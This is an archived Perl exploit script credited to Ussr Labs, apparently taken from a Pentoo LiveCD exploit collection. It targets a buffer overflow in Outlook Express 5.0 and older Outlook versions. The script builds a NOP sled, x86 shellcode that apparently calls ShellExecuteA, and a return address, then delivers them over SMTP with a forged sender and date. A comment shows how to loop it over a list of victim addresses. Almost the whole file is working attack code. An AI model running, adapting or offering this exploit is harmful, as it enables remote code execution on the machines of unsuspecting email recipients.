home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / outlook / outoutlook.pl < prev    next >
Encoding:
Perl Script  |  2005-02-12  |  5.4 KB  |  146 lines
  1. #!/usr/bin/perl
  2. #******************************************************************************
  3. #http://www.ussrback.com Ussr Labs (Exploiteable Buffer Overflow)
  4. # Outlook Express 5.0 | Outlook 2000 | Outlook 97.0 | Outlook 98
  5. #******************************************************************************
  6. #
  7. # By: Ussr Labs
  8. #
  9. # Arbitary shellcode injector over SMTP
  10. # ./$0 -h <server hostname>  -m <mail>
  11. # ./dieoutlook.pl -h <smtp server> -m victim@address.com
  12. # 
  13. #
  14. #
  15. #For Multiple email's Spanwn do something like this:
  16. #
  17. # for i in `cat emailshere.txt`; do perl ./outoutlook.pl -h smtpserverip -m $i; done
  18. #
  19. #
  20. #
  21. #
  22.  
  23.  
  24. use Getopt::Std;
  25. use Socket;
  26. getopt('h:m', \%args);
  27.  
  28. # user defined variables
  29. if(defined($args{h})){$serv=$args{h}}else{&usage;}
  30. if(defined($args{m})){$rcpt=$args{m}}else{&usage;}
  31.  
  32. # These are the escape characters which will cause the seg violation.
  33. # *nix didn't like the ascii interpretation, so we send the
  34. # characters in hex.
  35. # +,1 ,╠ ,^ ,╨ ,z ,¡ ,x 
  36.  
  37. $spawn = "\x2b\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
  38.     "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
  39.     "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
  40.     "\x31\x31\x31\x31\x31\x31\x31\x31\x5a\xdc\xae\x20\x78\x0d\x0a";
  41.  
  42. $shellcode = "\xE8\x00\x00\x00\x00\x5D\x81\xED\x40\x10\x40\x00\x81\xC4\x00" .
  43.     "\x03\x00\x00\xB8\x38\x10\x00\x01\x8B\x00\x89\x85\x0B\x11\x40\x00" .
  44.     "\x8C\xC8\xA8\x04\x75\x08\x8B\x85\x1F\x11\x40\x00\xEB\x06\x8B\x85" .
  45.     "\x23\x11\x40\x00\x89\x85\x1F\x11\x40\x00\x8D\x8D\x42\x11\x40\x00" .
  46.     "\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x0F\x11\x40\x00\x8D\x8D" .
  47.     "\x53\x11\x40\x00\x51\xFF\x95\x0F\x11\x40\x00\x8D\x8D\x34\x11\x40" .
  48.     "\x00\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x13\x11\x40\x00\x8B" .
  49.     "\x85\x1F\x11\x40\x00\x8D\x8D\x27\x11\x40\x00\x51\x50\xFF\x95\x0B" .
  50.     "\x11\x40\x00\x89\x85\x17\x11\x40\x00\x8D\x85\x1B\x11\x40\x00\x50" .
  51.     "\x6A\x00\x6A\x00\x8D\x85\xE3\x10\x40\x00\x50\x6A\x00\x6A\x00\x8B" .
  52.     "\x85\x17\x11\x40\x00\xFF\xD0\xEB\xFE\x60\xE8\x00\x00\x00\x00\x5D" .
  53.     "\x81\xED\xE9\x10\x40\x00\x6A\x00\x6A\x00\x6A\x00\x8D\xB5\x5F\x11" .
  54.     "\x40\x00\x56\x6A\x00\x6A\x00\xFF\x95\x13\x11\x40\x00\x61\xC2\x10" .
  55.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
  56.     "\x00\x00\x00\x00\x00\x00\x00\xF0\x77\x00\x00\xF7\xBF\x43\x72\x65" .
  57.     "\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x53\x68\x65\x6C\x6C\x45" .
  58.     "\x78\x65\x63\x75\x74\x65\x41\x00\x47\x65\x74\x4D\x6F\x64\x75\x6C" .
  59.     "\x65\x48\x61\x6E\x64\x6C\x65\x41\x00\x73\x68\x65\x6C\x6C\x33\x32" .
  60.     "\x2E\x64\x6C\x6C\x00\x77\x77\x77\x2E\x75\x73\x73\x72\x62\x61\x63" .
  61.     "\x6B\x2E\x63\x6F\x6D\x00";
  62.  
  63. $ret = "00aedc5a";                        # return address
  64. $nop = "\x90";                            # x86 NOP
  65. $port = 25;                            # default 25 SMTP port
  66. $buffsize = "1348";                        # buffer size
  67. $buffer .= $nop x 945;                        # load $buffer with 945 NOP then $shellcode
  68. $buffer .= $shellcode;                        # append shellcode to buffer
  69. $offset = (hex $ret);                        # return hex string to corresponding value
  70. $code = pack("N", $offset);                    # big-endian (long) network order
  71. while (length $buffer < $buffsize) { $buffer .= $code; }
  72. $buffer .= "\n\n";
  73. print "$code\n";
  74.  
  75. # create random MAIL FROM field. format is: [ alphanumeric ] @ [ characters ] . [ domain ]
  76.  
  77. $max=(int rand 15);
  78. @a=('a'..'z', '1'..'10'); for (1..$max) { $str .= $a[rand @a] }
  79. @a=('a'..'z'); for (1..$max) { $host .= $a[rand @a] }
  80. @dom = ('.com', '.net', '.org');
  81. $rdom = $dom[ rand @dom ];
  82. $rmail = $str . "@" . $host . $dom;
  83. print "random address set to: $rmail\n";
  84.  
  85. # random date method, format: Date: <day>, <int-day> <month> 2000 <time>
  86.  
  87. @days = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun');
  88. $rday = $days[ rand @days ];
  89. $rcal=(int rand(31));
  90. $rhour=(int rand(23)); if ($rhour < 10){ $rhour = "0".$rhour; }
  91. $rmin=(int rand(59)); if ($rmin < 10){ $rmin = "0".$rmin; }
  92. $rsec=(int rand(59)); if ($rsec < 10){ $rsec = "0".$rsec; }
  93. @months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Oct', 'Sep', 'Nov', 'Dec');
  94. $rmonth = $months[ rand @months ];
  95. $date = "Date: ".$rday.","; if ( $rcal >9 ){$date = $date."$rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
  96. else { $date = $date." $rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
  97. print "date set to: $date\n";
  98.  
  99. $in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
  100. $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
  101. $proto = getprotobyname('tcp') || die("Error: $!\n");
  102.  
  103. socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  104. connect(S, $paddr) || die("Error: $!\n");
  105. select(S); $| = 1; select(STDOUT);
  106.  
  107. # begin our SMTP transaction
  108.  
  109. print "now starting SMTP transaction\n";
  110. $res=<S>; print "$res\n";
  111. print "sending HELO\n";
  112. system("sleep 2s");
  113. print S "HELO\r\n";
  114. $res=<S>; print "$res\n";
  115.  
  116. print "sending MAIL FROM\n";
  117. system("sleep 2s");
  118. print S "MAIL FROM:$rmail\r\n";
  119. $res=<S>; print "$res\n";
  120.  
  121. print "sending RCPT\n";
  122. system("sleep 2s");
  123. print S "RCPT TO:$rcpt\r\n";
  124. $res=<S>; print "$res\n";
  125.  
  126. print "sending DATA\n";
  127. system("sleep 2s");
  128. print S "DATA\r\n";
  129. $res=<S>; print "$res\n";
  130.  
  131. print "sending escape characters\n";
  132. print S "$date";
  133. print S " $spawn";
  134.  
  135. print "sending shellcode\n";
  136. print S "$shellcode\r\n\r\n\r\n";
  137. #$res=<S>; print "$res\n";
  138. print S ".\r\n";
  139. print S "QUIT\r\n";
  140.  
  141. print "shellcode spawn was successful\n";
  142. close(S);
  143.  
  144.  
  145. sub usage {die("\n\n./$0 -h <hostname> -m <mail>\n\n");}
  146.